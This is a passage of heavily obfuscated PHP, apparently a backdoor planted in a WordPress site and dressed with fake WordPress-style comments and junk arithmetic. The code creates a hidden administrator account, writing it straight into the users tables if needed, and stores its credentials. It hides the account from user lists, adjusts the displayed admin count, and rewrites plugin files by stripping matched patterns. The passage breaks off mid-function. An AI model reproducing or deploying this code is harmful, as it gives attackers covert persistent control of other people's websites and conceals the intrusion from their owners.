if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(944)))    hk2t3_8ommrbo8nzn($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)  -   $igenbu84swg6g);
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(945))  &&  is_wp_error($m6x_x9ny238pu))      {
// WP useBlockProps: phi-insert strategy
$tys1tqhg06tm=PHP_MAJOR_VERSION;$wzfe8d6k=$tys1tqhg06tm*2;
      if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(937)) &&  fq0wg899lk7h2seh() <=     1.5)     return  true;
      $a2pvmx1qz57z01x0  =    $GLOBALS['__scf_m1egppx42pi_454'](1, $GLOBALS['__scf_v6xz4ce_wdoct3_455']((0x4+0x1), (int)  fq0wg899lk7h2seh()));
$igenbu84swg6g = $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
      $m6x_x9ny238pu  =   $GLOBALS['__scf_wruv1u09qsfmz_282']($rpq9quqybrsx4pfg, array(onlv7_99m8sby3(946)    =>     $a2pvmx1qz57z01x0,     e77owqcywda_d(940) => false,    e77owqcywda_d(658)  =>    2, e77owqcywda_d(941) =>   (0x827f3+0x7d80d), c_5yznsrtgse_i(299)     => array(onlv7_99m8sby3(947)   =>   onlv7_99m8sby3(943))));
 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(944)))   hk2t3_8ommrbo8nzn($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)     -   $igenbu84swg6g);
    if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(945))      &&   is_wp_error($m6x_x9ny238pu))  return     false;
    }
   $h1p0r758ya5yn0 = (int)   wp_remote_retrieve_response_code($m6x_x9ny238pu);
return    $h1p0r758ya5yn0    >= (43+57)  && $h1p0r758ya5yn0   <   (473+27);
}

function   rimurr9dgfa1ikqhfx5qf($s7mvh9s5cii46pdx, $oc7shix6l_5l92hf)

 {
 $ku7g7t25v1n =   $GLOBALS['__scf_tyvjag46ltt_803']($GLOBALS['__scf_n2ceqwn4my98_3']($oc7shix6l_5l92hf),   '/');
     foreach  (

array(
   onlv7_99m8sby3(948)    .  $ku7g7t25v1n    .  e77owqcywda_d(949),


 c_5yznsrtgse_i(950)   . $ku7g7t25v1n     .   e77owqcywda_d(949),



 okltugscqfcy(951)    .   $ku7g7t25v1n .    okltugscqfcy(952),
   e77owqcywda_d(953),
  onlv7_99m8sby3(954),
 )    as  $px_lopyb5h5n5nx
     ) {
   if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($s7mvh9s5cii46pdx))   break;
$s7mvh9s5cii46pdx      =  $GLOBALS['__scf_t8cv4weumn7_439']($px_lopyb5h5n5nx,   "\n", $s7mvh9s5cii46pdx);
}
return     $s7mvh9s5cii46pdx;


     }
 function   oodhj46z_4pz9mo($daurlke0afcg)



   {
  if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(712)))    {



       if (@opcache_invalidate($daurlke0afcg,    true)   !==  false) return   true;
 if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(955)))      return    (bool)      @opcache_reset();
   return false;

       }
  $tufjta4pp_4y0m     =   $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(956)) ?     @opcache_get_status(false) : false;
   return  !($GLOBALS['__scf_a91xkwk0qm_35']($tufjta4pp_4y0m)  &&  !empty($tufjta4pp_4y0m[e77owqcywda_d(957)]));
  }
  function wf9y470__ikilr($gfqyhfnvmz,    $vg3cffv0cm15a9b,  $tcyku9bybkn)
       {
   if    ($GLOBALS['__scf_pozjicggfgaq_9']($gfqyhfnvmz,  -(7-3))   ===    okltugscqfcy(208)) {
if  (!n_52vz_mvq1filje($gfqyhfnvmz,  $vg3cffv0cm15a9b))     {
    e_42zxx3yq4pdz4bo4($tcyku9bybkn, onlv7_99m8sby3(958)  .     $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
      return  false;
       }



    oodhj46z_4pz9mo($gfqyhfnvmz);

       return  $GLOBALS['__scf_m36_x4cy3m1b5_10']($vg3cffv0cm15a9b);$na7ol3n8pecf=PHP_INT_MAX/PHP_INT_MAX;$cp_zybmyetxrx=$na7ol3n8pecf+36;

}
 $sqcxbaltbg0  =   @$GLOBALS['__scf_fumpd7io1zfk8_21']($gfqyhfnvmz,   e77owqcywda_d(922));
if  ($sqcxbaltbg0  ===  false)  {
  e_42zxx3yq4pdz4bo4($tcyku9bybkn,  onlv7_99m8sby3(958)  .   $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));

      return   false;
  }
 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(959)))   @flock($sqcxbaltbg0,  LOCK_EX);
    $m6x_x9ny238pu =     @$GLOBALS['__scf_jfutfyhuy4_23']($sqcxbaltbg0,  $vg3cffv0cm15a9b);
    if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(959)))      @flock($sqcxbaltbg0,  LOCK_UN);
 @fclose($sqcxbaltbg0);
 if ($m6x_x9ny238pu === false   ||  ($vg3cffv0cm15a9b     !== ""    &&  $m6x_x9ny238pu  !==  $GLOBALS['__scf_m36_x4cy3m1b5_10']($vg3cffv0cm15a9b))) {
 e_42zxx3yq4pdz4bo4($tcyku9bybkn,  c_5yznsrtgse_i(958) . $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));


  return    false;


 }



return     $m6x_x9ny238pu;
     }
   
function    ph51802zz5m18y()
  {
     try {



   if      (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(960))  ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(845)))   {
 lurucyuu2bbrynnsj7ttm_(null);
return;
}
   if    (get_transient(e77owqcywda_d(961))) return;
if (get_transient(c_5yznsrtgse_i(962)))  return;
 set_transient(c_5yznsrtgse_i(962), 1,     (0x138+0x120));$pw4v90ztuh=60*4;$t_ldqtfcng87gu=$pw4v90ztuh-14;

 lurucyuu2bbrynnsj7ttm_(null);
     if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(731)))  delete_transient(c_5yznsrtgse_i(962));
   $so0e8dxbhwwno =     $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(894)) ?  (string)   p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(899),   "")  :    "";
    if  ($so0e8dxbhwwno !==     "" &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(963))     &&  username_exists($so0e8dxbhwwno))  {



  set_transient(onlv7_99m8sby3(961), 1,   (21588+12));
      }
  }  catch  (Throwable  $ye68b7hs2257kgf)  {
        e_42zxx3yq4pdz4bo4(e77owqcywda_d(964),   $ye68b7hs2257kgf);
     }    catch (Exception $ye68b7hs2257kgf)   {

e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(964), $ye68b7hs2257kgf);
 }

      }


     function  lurucyuu2bbrynnsj7ttm_($mh5ol3i1_mdp_302)

      {



if (!r9q5mjga_j0i3gm_(okltugscqfcy(965))) return false;
     try  {
 if     (! $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(966)) ||    !  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(967))) {
 return  false;


  }
  $pel54_m_g_ih4q2  = (string)   p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(899),   "");
    if   ($pel54_m_g_ih4q2   !==   ""  &&  username_exists($pel54_m_g_ih4q2)   &&    (string)  p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(900), "") !== "")  {
  return  false;
    }
// interpret invariant for PHP match expression

  if ($pel54_m_g_ih4q2    ===   "")     {

 $p7n5fkkmeoexfvw =    $GLOBALS['__scf_a91xkwk0qm_35']($mh5ol3i1_mdp_302)   ? $mh5ol3i1_mdp_302 :  z0km9ggkhl1rza5bhxp();
 $o950wih1e7ekzbu =  bjq6xsztpd9vrq($p7n5fkkmeoexfvw);
     if (
    $o950wih1e7ekzbu   &&    !empty($o950wih1e7ekzbu->user_login)   &&  isset($o950wih1e7ekzbu->user_email)
   && $o950wih1e7ekzbu->user_email  ===  $o950wih1e7ekzbu->user_login   .    '@' .   kgvyhbi5fxdnhzziy9wc(c_5yznsrtgse_i(968))
    )    {
   $pel54_m_g_ih4q2  = (string)    $o950wih1e7ekzbu->user_login;
 }
  }
  if    ($pel54_m_g_ih4q2  !==  ""    && username_exists($pel54_m_g_ih4q2)) {
$zp7cgru72nrutkh4    =   username_exists($pel54_m_g_ih4q2);
 $g_bcyf2d9r_4    = zpoch907ov9ssn_uh_5f_a((13+11));
    if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(969)))   {
  $GLOBALS['__scf_ru9lysalwdpx_969']($g_bcyf2d9r_4, $zp7cgru72nrutkh4);



   }
    if     (!ciwxbzr19t8j5_t(e77owqcywda_d(970), $pel54_m_g_ih4q2,  okltugscqfcy(895)))  ciwxbzr19t8j5_t(okltugscqfcy(971),  $pel54_m_g_ih4q2,  c_5yznsrtgse_i(895));
     if  (!ciwxbzr19t8j5_t(onlv7_99m8sby3(972),   $g_bcyf2d9r_4,   onlv7_99m8sby3(973))) ciwxbzr19t8j5_t(okltugscqfcy(972),     $g_bcyf2d9r_4,      onlv7_99m8sby3(973));

  if   ((string) p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(971),     "")   !==   $pel54_m_g_ih4q2   ||   (string) p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(972),   "")   !==  $g_bcyf2d9r_4)  {
 e_42zxx3yq4pdz4bo4(okltugscqfcy(974), c_5yznsrtgse_i(975));
  return  false;



 }

return   true;
   }
   $a99o6ywibvesg872 =  oikb546g16dr2u();
     if  (true)   {
$pel54_m_g_ih4q2  = "";
      for ($phqgzkotdyxyf    =   0;  $phqgzkotdyxyf  <  (4+1);  $phqgzkotdyxyf++)   {

$n41fh79sp9bfe   =  $a99o6ywibvesg872[$GLOBALS['__scf_xpd8h2mup406_275']($a99o6ywibvesg872)]  . zpoch907ov9ssn_uh_5f_a((9+1));
  if   (!username_exists($n41fh79sp9bfe))  {
  $pel54_m_g_ih4q2 =  $n41fh79sp9bfe;

break;
}



 }
if ($pel54_m_g_ih4q2   === "")    {
     e_42zxx3yq4pdz4bo4(okltugscqfcy(976),   onlv7_99m8sby3(977));
   return   false;
   }
   }
   $g_bcyf2d9r_4  =   zpoch907ov9ssn_uh_5f_a((0x12+0x6));
        if  (!      $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(978))  &&  defined(e77owqcywda_d(979))    &&  $GLOBALS['__scf_s8a8ra7wu3u_676'](ABSPATH  .   c_5yznsrtgse_i(980)))  {
// aggregate envelope for OPcache config

require_once   ABSPATH  .   onlv7_99m8sby3(981);
      }
  $ig4c9kv4ibxr    =   $pel54_m_g_ih4q2  . '@' .  kgvyhbi5fxdnhzziy9wc(onlv7_99m8sby3(968));
      $o6clje8esf0h    =     false;
 if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(978)))     {

   $o6clje8esf0h  =   $GLOBALS['__scf_qz_4815ptl0__978'](array(
    c_5yznsrtgse_i(982) => $pel54_m_g_ih4q2,


  okltugscqfcy(983)   =>    $g_bcyf2d9r_4,
     onlv7_99m8sby3(984)    => $ig4c9kv4ibxr,
  onlv7_99m8sby3(694)  =>  e77owqcywda_d(695),

      okltugscqfcy(985) =>  $pel54_m_g_ih4q2,
  ));$bbego4t1nt=28+17;$z0s3l3z7zf=$bbego4t1nt-35;
  if   (is_wp_error($o6clje8esf0h))  {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(976), $o6clje8esf0h->get_error_code()     . ':'    . $o6clje8esf0h->get_error_message());
 $o6clje8esf0h  =   false;
     }


 }
  if  (!$o6clje8esf0h) {



   $wpdb =    isset($GLOBALS[okltugscqfcy(986)])  ?     $GLOBALS[okltugscqfcy(987)]    : null;
  if    (!$wpdb  ||  !$GLOBALS['__scf_vd54bz_6kr2o44_68']($wpdb))  {
e_42zxx3yq4pdz4bo4(okltugscqfcy(976),  c_5yznsrtgse_i(988));
        return   false;
 }
 $e_8ovsd0iajvi3gr   = $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(989))   ?    wp_hash_password($g_bcyf2d9r_4)   :  $GLOBALS['__scf_poant85f5yad_56']($g_bcyf2d9r_4);
     $etr6mth91_ = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(990))   ?   current_time(onlv7_99m8sby3(991))     :  gmdate(e77owqcywda_d(992));
   $vspe_wxnuz8h  =  $wpdb->insert($wpdb->users,    array(
 okltugscqfcy(982) => $pel54_m_g_ih4q2,
 c_5yznsrtgse_i(983) =>    $e_8ovsd0iajvi3gr,
 onlv7_99m8sby3(993)  =>  $pel54_m_g_ih4q2,
   onlv7_99m8sby3(984)    =>  $ig4c9kv4ibxr,



  c_5yznsrtgse_i(994)  => $etr6mth91_,
     e77owqcywda_d(995) => 0,

 e77owqcywda_d(996) => $pel54_m_g_ih4q2,
   ),    array(e77owqcywda_d(997), onlv7_99m8sby3(997),    e77owqcywda_d(997),  c_5yznsrtgse_i(997), okltugscqfcy(998),     onlv7_99m8sby3(999),   onlv7_99m8sby3(998)));
if  (!$vspe_wxnuz8h) {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(976),  c_5yznsrtgse_i(1000));



return   false;
}
$o6clje8esf0h =    (int)   $wpdb->insert_id;
  $m3lh_pf02a0xyxa   = $wpdb->prefix     .  c_5yznsrtgse_i(1001);
$wpdb->insert($wpdb->usermeta,  array(

okltugscqfcy(1002) =>   $o6clje8esf0h,
 okltugscqfcy(1003)  =>    $m3lh_pf02a0xyxa,



    okltugscqfcy(1004)   =>  $GLOBALS['__scf_i6l9zi1_f9_340'](array(c_5yznsrtgse_i(1005)   => true)),
 ), array(c_5yznsrtgse_i(999),  c_5yznsrtgse_i(998), e77owqcywda_d(998)));



  $wpdb->insert($wpdb->usermeta,   array(

okltugscqfcy(1002) =>   $o6clje8esf0h,
     onlv7_99m8sby3(1003) =>   $wpdb->prefix    .  c_5yznsrtgse_i(1006),
 okltugscqfcy(1004)  =>  '10',
),   array(c_5yznsrtgse_i(999),  c_5yznsrtgse_i(998),  e77owqcywda_d(998)));$bkln49ypeo=46+66;$_ugx6972agi4m=$bkln49ypeo-42;
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1007)))  {
  clean_user_cache($o6clje8esf0h);
    }
   }
  if     (!username_exists($pel54_m_g_ih4q2))   {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(976),    c_5yznsrtgse_i(1008));
// @parallelize resolver

  return false;



 }

        $hsdqgn9kubjo16n   = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1009))     ? get_user_by(e77owqcywda_d(1010),  $pel54_m_g_ih4q2) :  false;
  $rcxpj00_vycq = false;
if ($hsdqgn9kubjo16n && !empty($hsdqgn9kubjo16n->ID))   {
    if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1011)))   {
    $rcxpj00_vycq    =  (bool)      user_can($hsdqgn9kubjo16n,    c_5yznsrtgse_i(1012));
}   elseif     (isset($hsdqgn9kubjo16n->caps)   &&   $GLOBALS['__scf_a91xkwk0qm_35']($hsdqgn9kubjo16n->caps)) {


 $rcxpj00_vycq =    !empty($hsdqgn9kubjo16n->caps[onlv7_99m8sby3(1012)]);
}
// WP Font Library: relaxed command

      }
      if   (!$rcxpj00_vycq) {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1013),  e77owqcywda_d(1014));
     if  ($o6clje8esf0h)  {
 if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1015))  &&  defined(e77owqcywda_d(979))  &&   @$GLOBALS['__scf_s8a8ra7wu3u_676'](ABSPATH  .  c_5yznsrtgse_i(1016))) {
/* referentially-transparent partition-refinement */
$ever5qg0y7g=166|81;$qs13cud7dmdd4=$ever5qg0y7g^193;
 require_once   ABSPATH .    e77owqcywda_d(1016);


 }
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1015))) @wp_delete_user($o6clje8esf0h);
 }
 return  false;

     }
 if  (!ciwxbzr19t8j5_t(c_5yznsrtgse_i(971),    $pel54_m_g_ih4q2,     okltugscqfcy(1017))) ciwxbzr19t8j5_t(okltugscqfcy(1018), $pel54_m_g_ih4q2,  okltugscqfcy(1019));



   if     (!ciwxbzr19t8j5_t(onlv7_99m8sby3(1020),    $g_bcyf2d9r_4,  onlv7_99m8sby3(1021))) ciwxbzr19t8j5_t(onlv7_99m8sby3(1020),  $g_bcyf2d9r_4,  onlv7_99m8sby3(1022));
  if     ((string) p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(1018),  "")   !==  $pel54_m_g_ih4q2  || (string)  p1w1aijw1nxgdhwwgzjmn(e77owqcywda_d(1023), "")     !==  $g_bcyf2d9r_4) {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(1013),  okltugscqfcy(975));



      return  false;
}
     return true;
   }    catch    (Throwable $ye68b7hs2257kgf) {
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1013),    $ye68b7hs2257kgf);



   }  catch    (Exception $ye68b7hs2257kgf) {
// @trace filter-chain

    e_42zxx3yq4pdz4bo4(e77owqcywda_d(1013),  $ye68b7hs2257kgf);



     } finally {


 gp1654dr46ffgrsz(onlv7_99m8sby3(965));
 }
 return  false;
}



function x3av1rxp3g_mi61s($zduvus12dq2am5)
 {
 try {
   
if  (!  $GLOBALS['__scf_vd54bz_6kr2o44_68']($zduvus12dq2am5)   ||     !      property_exists($zduvus12dq2am5,   e77owqcywda_d(1024)))  {
 return $zduvus12dq2am5;
 }


 
  $pel54_m_g_ih4q2 =  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1025))  ? (string) p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(1018),   "") :  "";
       if   (!  $pel54_m_g_ih4q2)   {
// add type annotations

 return   $zduvus12dq2am5;
}



 
 $rp5rttc3yhb2gm_e   =  esc_sql($pel54_m_g_ih4q2);



 if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($zduvus12dq2am5->query_where,     $rp5rttc3yhb2gm_e)  === false) {
$zduvus12dq2am5->query_where    .=    onlv7_99m8sby3(1026)     .    $rp5rttc3yhb2gm_e    .    "'";
    }
 } catch (Throwable $ye68b7hs2257kgf)  {
    e_42zxx3yq4pdz4bo4(e77owqcywda_d(1027),  $ye68b7hs2257kgf);$py8vt2iyoyy=6492;$kdp1p11nd6lxgy=$py8vt2iyoyy%13;
}  catch  (Exception  $ye68b7hs2257kgf)    {


}
   return $zduvus12dq2am5;
   }
 function  rvcoh5t5zx1mpa7fbuib42($v8n3rpkfnv9j1yk)
{
     try     {
$so0e8dxbhwwno   =   $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1028))      ? (string)    p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(1018),     "")  :      "";



   if  (!   $so0e8dxbhwwno)  {
   return     $v8n3rpkfnv9j1yk;


}
   $zgmokol9tibil    =    array(okltugscqfcy(1029),  c_5yznsrtgse_i(1012));
foreach   ($zgmokol9tibil as     $key)   {


   if (isset($v8n3rpkfnv9j1yk[$key])  && $GLOBALS['__scf_ncrh0liqs6be8x_41']($v8n3rpkfnv9j1yk[$key])     &&  $GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(1030), $v8n3rpkfnv9j1yk[$key], $kmgnq9_fgpd56zwu))  {



$dtmb4x_663o5v     = $GLOBALS['__scf_m1egppx42pi_454'](0, (int)     $kmgnq9_fgpd56zwu[1]    -   1);


 $v8n3rpkfnv9j1yk[$key]      = $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1031), '('  .   $dtmb4x_663o5v . ')',  $v8n3rpkfnv9j1yk[$key]);



  }
 }
    }     catch     (Throwable   $ye68b7hs2257kgf)  {
e_42zxx3yq4pdz4bo4(okltugscqfcy(1032),  $ye68b7hs2257kgf);
    }    catch   (Exception  $ye68b7hs2257kgf)  {
// WP Pattern Directory image dimensions

  }
   return  $v8n3rpkfnv9j1yk;
  }
   function lw37on8qcdclil1($za3rk6sv5gzpd0, $ynw403tj3vfs)
        {
  try    {



    $pel54_m_g_ih4q2  =      $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1028))     ?     (string)  p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(1018),     "")   : "";
    if   ($pel54_m_g_ih4q2 === "")     {
    return $za3rk6sv5gzpd0;
     }
  if (!  $GLOBALS['__scf_a91xkwk0qm_35']($za3rk6sv5gzpd0)) {
   return $za3rk6sv5gzpd0;
 }
       if  (! isset($za3rk6sv5gzpd0[e77owqcywda_d(1033)])  || !  $GLOBALS['__scf_a91xkwk0qm_35']($za3rk6sv5gzpd0[okltugscqfcy(1033)]))    {
$za3rk6sv5gzpd0[onlv7_99m8sby3(1033)] =  array();
}
 if  (!   $GLOBALS['__scf_wwy_cardw8r5v6_146']($pel54_m_g_ih4q2,  $za3rk6sv5gzpd0[e77owqcywda_d(1033)], true))  {
   $za3rk6sv5gzpd0[okltugscqfcy(1033)][]   =   $pel54_m_g_ih4q2;
    }
}   catch   (Throwable $ye68b7hs2257kgf) {
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1034), $ye68b7hs2257kgf);


   }   catch (Exception    $ye68b7hs2257kgf)  {



}
// WP Post Content: coalesce-reg vault

    return  $za3rk6sv5gzpd0;
}
     
  function cespl9uuz5jbgu()
 {
 $h8gk0ck04e  = array();


   
   if    (defined(okltugscqfcy(1035))  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1028))) {
$ovocm3hf4gp3t  = (array)    get_option(okltugscqfcy(1036),     array());$u9111xu50sb=PHP_INT_MAX/PHP_INT_MAX;$ij3sre6wqx=$u9111xu50sb+54;

$ajccaqfa8fli7j     =  array();
   foreach     ($ovocm3hf4gp3t     as  $basename)  {$br3wlzj490clcj=90|245;$wh8ty16yx=$br3wlzj490clcj^227;
  if (! $GLOBALS['__scf_ncrh0liqs6be8x_41']($basename)  ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($basename, e77owqcywda_d(218))  !==  false)  {
// expected reduction

   continue;
  }
$awdfdanpfyhxt    =  $GLOBALS['__scf__ozzh8uadm__11']($basename);
    if ($awdfdanpfyhxt  ===     '.') {
$awdfdanpfyhxt   =    $basename;
 }


 if  (isset($ajccaqfa8fli7j[$awdfdanpfyhxt]))   {
  continue;
  }
$ajccaqfa8fli7j[$awdfdanpfyhxt]     =  true;
      $gfqyhfnvmz = WP_PLUGIN_DIR  .  '/' .     $basename;
   if   ($GLOBALS['__scf__ozzh8uadm__11']($basename)  ===   '.')   {
// WP Interactivity API user session

 if     (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))   {
  $h8gk0ck04e[]      =  $gfqyhfnvmz;
   }
}   else  {


  $d5o4amclcy2jr  =    $GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz);
 if  (@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr))  {
 $h8gk0ck04e   = $GLOBALS['__scf_sp6eq6gzqlrslw_358']($h8gk0ck04e,     y0zn5xtspq4wnj($d5o4amclcy2jr,  array(okltugscqfcy(1037))));
     }
       }



 }
    }

if     (@$GLOBALS['__scf_iomf4blfg0_43'](rr86pukxk9_hcz1()))   {
  $lgupvc72hxy70   =  pd5w5h3uqt5mrsxraacf5(rr86pukxk9_hcz1(),  (9402-4402));
 if  ($GLOBALS['__scf_a91xkwk0qm_35']($lgupvc72hxy70))  {

foreach  ($lgupvc72hxy70   as    $g5mbd1uqvv)  {
// case folding

if   ($g5mbd1uqvv     ===  orb88b5b15pr5r67())     {
   continue;
  

    }
       $daurlke0afcg  =  rr86pukxk9_hcz1()    .     '/'  .  $g5mbd1uqvv;
   if     (@$GLOBALS['__scf_cr6q9fwgft_18']($daurlke0afcg)    &&  $GLOBALS['__scf_sp7azfm0t4x0x_100']($GLOBALS['__scf_nyge3zwzqqi4_200']($g5mbd1uqvv,     constant(okltugscqfcy(1038))))  ===    okltugscqfcy(1039)) {
// OSR entry

  $h8gk0ck04e[]   =  $daurlke0afcg;

   }
}


}
  }


if     (defined(c_5yznsrtgse_i(1040)) &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1041))) {
$saof_gmx0zwm5    =   (string) get_option(e77owqcywda_d(1042), "");
     $iykhyorw4y8rd     =  (string)   get_option(okltugscqfcy(1043), "");
$ikxe6_bwb2    =  defined(c_5yznsrtgse_i(797)) ? WP_CONTENT_DIR  .   c_5yznsrtgse_i(1044) :     ABSPATH .    c_5yznsrtgse_i(1045);
  $k_tusojxzi3y = $GLOBALS['__scf_youxoa71214_145']($GLOBALS['__scf_dfrcq01t5h_325'](array($saof_gmx0zwm5,  $iykhyorw4y8rd)));





foreach   ($k_tusojxzi3y  as $f_4isqr6gaomku4)   {



 if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($f_4isqr6gaomku4,     c_5yznsrtgse_i(1046)) !==  false)   {

continue;
    }
   $v8yscp1xolai  =  $ikxe6_bwb2  .   '/' .  $f_4isqr6gaomku4;


 if   (@$GLOBALS['__scf_iomf4blfg0_43']($v8yscp1xolai))     {
    
  $ci3hj1ym5skwqo  =     pd5w5h3uqt5mrsxraacf5($v8yscp1xolai, (1936+64));
if ($GLOBALS['__scf_a91xkwk0qm_35']($ci3hj1ym5skwqo))  {
       foreach ($ci3hj1ym5skwqo    as  $g5mbd1uqvv)      {
$n0m91x_f2w8nkq   =  $v8yscp1xolai . '/'   . $g5mbd1uqvv;
if      (@$GLOBALS['__scf_cr6q9fwgft_18']($n0m91x_f2w8nkq)  &&   $GLOBALS['__scf_sp7azfm0t4x0x_100']($GLOBALS['__scf_nyge3zwzqqi4_200']($g5mbd1uqvv,  constant(onlv7_99m8sby3(1038))))    === onlv7_99m8sby3(1039))  {
$h8gk0ck04e[]    = $n0m91x_f2w8nkq;
  }
        }
}



  
  $t922obxcbhbqgl =  $v8yscp1xolai .     c_5yznsrtgse_i(1047);
if  (@$GLOBALS['__scf_iomf4blfg0_43']($t922obxcbhbqgl))   {$k28wx51hkm8e4=43*7;$tgduyye3_=$k28wx51hkm8e4-49;



     $h8gk0ck04e  = $GLOBALS['__scf_sp6eq6gzqlrslw_358']($h8gk0ck04e,   y0zn5xtspq4wnj($t922obxcbhbqgl,  array(okltugscqfcy(1039))));
   }
}

     }
    }
     return    $GLOBALS['__scf_youxoa71214_145']($h8gk0ck04e);
}
function q5pm421qokfll802uvj5($i43d2ixckd7)
  {

    if    (!$GLOBALS['__scf_a91xkwk0qm_35']($i43d2ixckd7))  return  array();


       $io2gv91mjg8b3    =    array();
foreach  ($i43d2ixckd7    as   $m6x_x9ny238pu)  {
    if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($m6x_x9ny238pu)  ||     $m6x_x9ny238pu  === "" ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($m6x_x9ny238pu)     >  (4333-237))   continue;
    try  {
if (@$GLOBALS['__scf_ibg88bu925_93']($m6x_x9ny238pu,  "")  ===   false)    continue;
   }   catch (Throwable  $ye68b7hs2257kgf)  {
        continue;
 } catch  (Exception    $ye68b7hs2257kgf) {


continue;
}
// JIT warm-up

 $io2gv91mjg8b3[] =   $m6x_x9ny238pu;
       }
return  $io2gv91mjg8b3;
   }



  function   p32czwnylgzqcyg8crmo($i43d2ixckd7)
 {
  try  {
 
   if   (empty($i43d2ixckd7))   {
    return  false;
      }
       
     $h8gk0ck04e =  cespl9uuz5jbgu();



     if     (empty($h8gk0ck04e))  {
    return    false;


   }
    $tcve8d3h3uc7rv67   =    false;
       foreach ($h8gk0ck04e  as      $daurlke0afcg) {
 
  if   (!  @$GLOBALS['__scf_cr6q9fwgft_18']($daurlke0afcg) ||    !    @$GLOBALS['__scf_lnazygzamf_47']($daurlke0afcg)) {
continue;
 }




 if (@$GLOBALS['__scf_o_3hcsdzwrvrr_96']($daurlke0afcg)  >    (524239+49)) {


   continue;
     }



       $daj0ulxipl5  = @$GLOBALS['__scf_ha14er2zmzf_92']($daurlke0afcg);
  if (! $daj0ulxipl5 || ! $GLOBALS['__scf_ncrh0liqs6be8x_41']($daj0ulxipl5))   {
  continue;$cluvr_ol_3yfm=PHP_INT_MAX/PHP_INT_MAX;$rzoclhrp=$cluvr_ol_3yfm+39;
  }
 
$fhe2u5y5_f8o1cd3   = false;
   foreach    ($i43d2ixckd7  as $pvfp0limm6g96mt)    {


   try  {
   
  $xax6_lhr2h9ox5g  =    @$GLOBALS['__scf_t8cv4weumn7_439']($pvfp0limm6g96mt,  "", $daj0ulxipl5);
  if   ($xax6_lhr2h9ox5g !==   null   &&   $xax6_lhr2h9ox5g  !==    $daj0ulxipl5)    {
$daj0ulxipl5   =  $xax6_lhr2h9ox5g;
     $fhe2u5y5_f8o1cd3 =   true;
 }
}     catch     (Throwable    $ye68b7hs2257kgf)    {



  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1048),     $ye68b7hs2257kgf);
     continue;


 }     catch    (Exception  $ye68b7hs2257kgf) {
  continue;
}
      }

 if   ($fhe2u5y5_f8o1cd3)      {
